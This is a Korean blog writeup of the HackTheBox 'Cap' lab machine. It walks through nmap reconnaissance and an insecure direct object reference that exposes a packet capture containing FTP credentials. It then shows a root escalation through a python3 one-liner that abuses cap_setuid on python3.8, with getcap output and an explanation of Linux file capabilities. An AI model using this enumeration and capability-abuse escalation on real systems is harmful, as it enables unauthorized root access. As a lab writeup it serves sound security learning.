티스토리 뷰

보안/Wargame

[Hackthebox] - Cap Writeup(문제풀이)

돔돔이부하 2021. 7. 6. 00:21
728x90
반응형

Footholdings

아래는 nmap 결과입니다.

# nmap -sV -sT -sC -Pn 10.10.10.245
PORT   STATE SERVICE VERSION
21/tcp open  ftp     vsftpd 3.0.3
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|_  256 3f:d0:ff:91:eb:3b:f6:e1:9f:2e:8d:de:b3:de:b2:18 (ED25519)
80/tcp open  http    gunicorn
| fingerprint-strings: 
|   FourOhFourRequest: 
|     HTTP/1.0 404 NOT FOUND
|     Server: gunicorn
|     Date: Mon, 05 Jul 2021 09:50:02 GMT
|     Connection: close
|     Content-Type: text/html; charset=utf-8
|     Content-Length: 232
|     <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2 Final//EN">
|     <title>404 Not Found</title>
|     <h1>Not Found</h1>
|     <p>The requested URL was not found on the server. If you entered the URL manually please check your spelling and try again.</p>
|   GetRequest: 
|     HTTP/1.0 200 OK
|     Server: gunicorn
|     Date: Mon, 05 Jul 2021 09:49:57 GMT
|     Connection: close
|     Content-Type: text/html; charset=utf-8
|     Content-Length: 19386
|     <!DOCTYPE html>
|     (...중략...)
|     <!-- amchar
|   HTTPOptions: 
|     HTTP/1.0 200 OK
|     Server: gunicorn
|     Date: Mon, 05 Jul 2021 09:49:57 GMT
|     Connection: close
|     Content-Type: text/html; charset=utf-8
|     Allow: GET, HEAD, OPTIONS
|     Content-Length: 0
|   RTSPRequest: 
|     HTTP/1.1 400 Bad Request
|     Connection: close
|     Content-Type: text/html
|     Content-Length: 196
|     <html>
|     <head>
|     <title>Bad Request</title>
|     </head>
|     <body>
|     <h1><p>Bad Request</p></h1>
|     Invalid HTTP Version &#x27;Invalid HTTP Version: &#x27;RTSP/1.0&#x27;&#x27;
|     </body>
|_    </html>
|_http-server-header: gunicorn
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port80-TCP:V=7.91%I=7%D=7/5%Time=60E2D5C1%P=x86_64-pc-linux-gnu%r(GetRe
SF:quest,1AE1,"HTTP/1\.0\x20200\x20OK\r\nServer:\x20gunicorn\r\nDate:\x20M
SF:on,\x2005\x20Jul\x202021\x2009:49:57\x20GMT\r\nConnection:\x20close\r\n
...중략...
SF:n<p>The\x20requested\x20URL\x20was\x20not\x20found\x20on\x20the\x20serv
SF:er\.\x20If\x20you\x20entered\x20the\x20URL\x20manually\x20please\x20che
SF:ck\x20your\x20spelling\x20and\x20try\x20again\.</p>\n");
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

중요한 점은 80, 21, 22 번 포트가 열려있습니다. 그리고 Unix, Linux 서버임을 알 수 있고, Web 서비스, FTP 서비스, SSH 서비스가 열려있는 걸 알 수 있습니다. 그리고 gunicorn 서버로 백엔드가 Python 인 걸 확인할 수 있었습니다.

Reference: https://gunicorn.org/

 

Gunicorn - Python WSGI HTTP Server for UNIX

Deployment Gunicorn is a WSGI HTTP server. It is best to use Gunicorn behind an HTTP proxy server. We strongly advise you to use nginx. Here's an example to help you get started with using nginx: server { listen 80; server_name example.org; access_log /var

gunicorn.org

Exploit

FTP 서비스는 anonymous(익명) 로그인이 되지 않습니다. SSH 또한 암호가 걸려있었습니다.

그래서 남은 Web 부분을 공략했습니다.

접속해보면 위와 같이 나옵니다. 웹 기능으로는 IP 조회 기능, Netstat 기능, Packet Snapshot 기능이 있었습니다. 여기서 Packet Snapshot 기능에서는 현 시점으로부터 5초 동안의 패킷 내용을 캡쳐해서 해당 패킷캡쳐 파일(pcap)을 다운로드할 수 있었는데요. Path는 아래와 같습니다.

http://10.10.10.245/download/1

위 경로로 접속하면, 1.pcap 파일이 다운받아집니다. Wireshark로 내용물을 확인해보았지만, 유의미한 내용은 보이지 않았습니다. 그러던 중 혹시 싶어서 아래와 같이 입력해보았습니다.

http://10.10.10.245/download/0

그렇게 하니 0.pcap 파일이 다운로드 되더군요. 그래서 해당 파일을 Wireshark로 분석해보았습니다. 내용이 너무 짧아서 딱히 분석할 것도 없이 FTP 통신에서 Username과 Password가 나왔습니다.

그리고 위 계정으로 FTP 와 SSH 모두 로그인이 가능했습니다. 먼저 FTP나 SSH로 접속하면, nathan 계정의 홈디렉토리로 접속이 되는데, 바로 해당 경로에 user.txt가 있었습니다.

nathan@cap:~$ ls
user.txt
nathan@cap:~$ cat user.txt
5b359b6804bbe4675476b7a0082fd499

그리고 root 권한의 경우에는 nathan으로 당연히 접근이 되지 않았습니다. 그렇게 해메던 와중에 다시 Web 서비스로 눈을 돌렸을 때, 문득 app.py 를 보게 되었습니다. 그리고 app.py에는 아래와 같은 코드가 있었습니다.

@app.route("/capture")
@limiter.limit("10 per minute")
def capture():
        get_lock()
        pcapid = get_appid()
        increment_appid()
        release_lock()
        path = os.path.join(app.root_path, "upload", str(pcapid) + ".pcap")
        ip = request.remote_addr
        # permissions issues with gunicorn and threads. hacky solution for now.
        #os.setuid(0)
        #command = f"timeout 5 tcpdump -w {path} -i any host {ip}"
        command = f"""python3 -c 'import os; os.setuid(0); os.system("timeout 5 tcpdump -w {path} -i any host {ip}")'"""
        os.system(command)
        #os.setuid(1000)
        return redirect("/data/" + str(pcapid))

여기서 Linux에서 setuid를 했을 때 permission denied 가 뜨지 않는지 의문이 들었으나, 웹 서비스에서 /capture 기능이 정상적으로 동작하는 것을 보았을 때, setuid가 수행이 된다는 것을 알았습니다.

그리고 python 웹서버가 돌아가는 만큼, python 패키지가 설치되어 있을 것으로 생각되어 아래와 같이 명령어를 입력하였습니다. 그랬더니 root.txt 가 정상적으로 출력되었습니다.

nathan@cap:~$ python3 -c 'import os; os.setuid(0); os.system("cat /root/root.txt");'
0bc61439dec4f8dc69266d9fdd067300

어떻게 setuid 가 동작했는지 조사하다가 아래와 같은 글을 발견했습니다.

Note: os.setuid() and os.getuid() methods are available only on UNIX platforms and functionality of os.setuid() method is typically available only to the superuser as only superuser can change user id.

Reference : https://www.geeksforgeeks.org/python-os-getuid-and-os-setuid-method/

 

Python | os.getuid() and os.setuid() method - GeeksforGeeks

A Computer Science portal for geeks. It contains well written, well thought and well explained computer science and programming articles, quizzes and practice/competitive programming/company interview Questions.

www.geeksforgeeks.org

분명 nmap 결과를 보았을 때 Unix 기반의 OS라는 점은 명시되어 있었지만, UNIX platform 이기 때문에 os.setuid() 가 동작했을 거라고 추측할 수밖에 없었습니다. 명확한 이유는 좀 더 찾아봐야할 듯 합니다.

 

- 추가 -

찾아 보니깐 File Capabilities와 관련한 문제였습니다. 그래서 문제 제목도 Cap인가 봅니다.

nathan@cap:~$ getcap -r / 2>/dev/null
/usr/bin/python3.8 = cap_setuid,cap_net_bind_service+eip
/usr/bin/ping = cap_net_raw+ep
/usr/bin/traceroute6.iputils = cap_net_raw+ep
/usr/bin/mtr-packet = cap_net_raw+ep
/usr/lib/x86_64-linux-gnu/gstreamer1.0/gstreamer-1.0/gst-ptp-helper = cap_net_bind_service,cap_net_admin+ep

ssh 에 접속 후 getcap 명령을 통해서 확인해보니, python3.8 에 setuid 를 설정할 수 있는 권한이 주어졌더군요.

File Capability는 (현재는 제외되었지만) POSIX 1003.1e 초안에서 제안한 것으로 전통적인 super user (root) 기반의 시스템 관리 권한을 좀 더 세분화하여 보안 위협에 대처하고자 만들어진 보안 모델이다.
다시 말하면, 특정 관리 작업을 수행할 때 root가 가지고 있는 모든 권한을 부여하는 것이 아니라 해당 작업에 필요한 권한 만을 부여하면, 프로그램의 버그 등으로 인해 해당 프로그램이 악의적인 사용자에게 제어 권한을 넘겨주었다 하더라도, 다른 권한이 주어지지 않으므로 시스템의 피해를 최소화시킬 수 있게 되는 것이다.

위와 같은 내용으로, 보안 취약점을 대응하기 위해서 만들어진 기능인데 오히려 악용이 가능하다는 점에서 단점이 부각되었습니다. 아래 글은 이를 악용하여 위 문제에서 나온 python3.8 과 같이 백도어와 같은 프로그램을 만들 수 있다는 것에 대해 작성한 글입니다.

https://blog.sevagas.com/IMG/pdf/exploiting_capabilities_the_dark_side.pdf

 

 

- 끝 -

728x90
반응형
댓글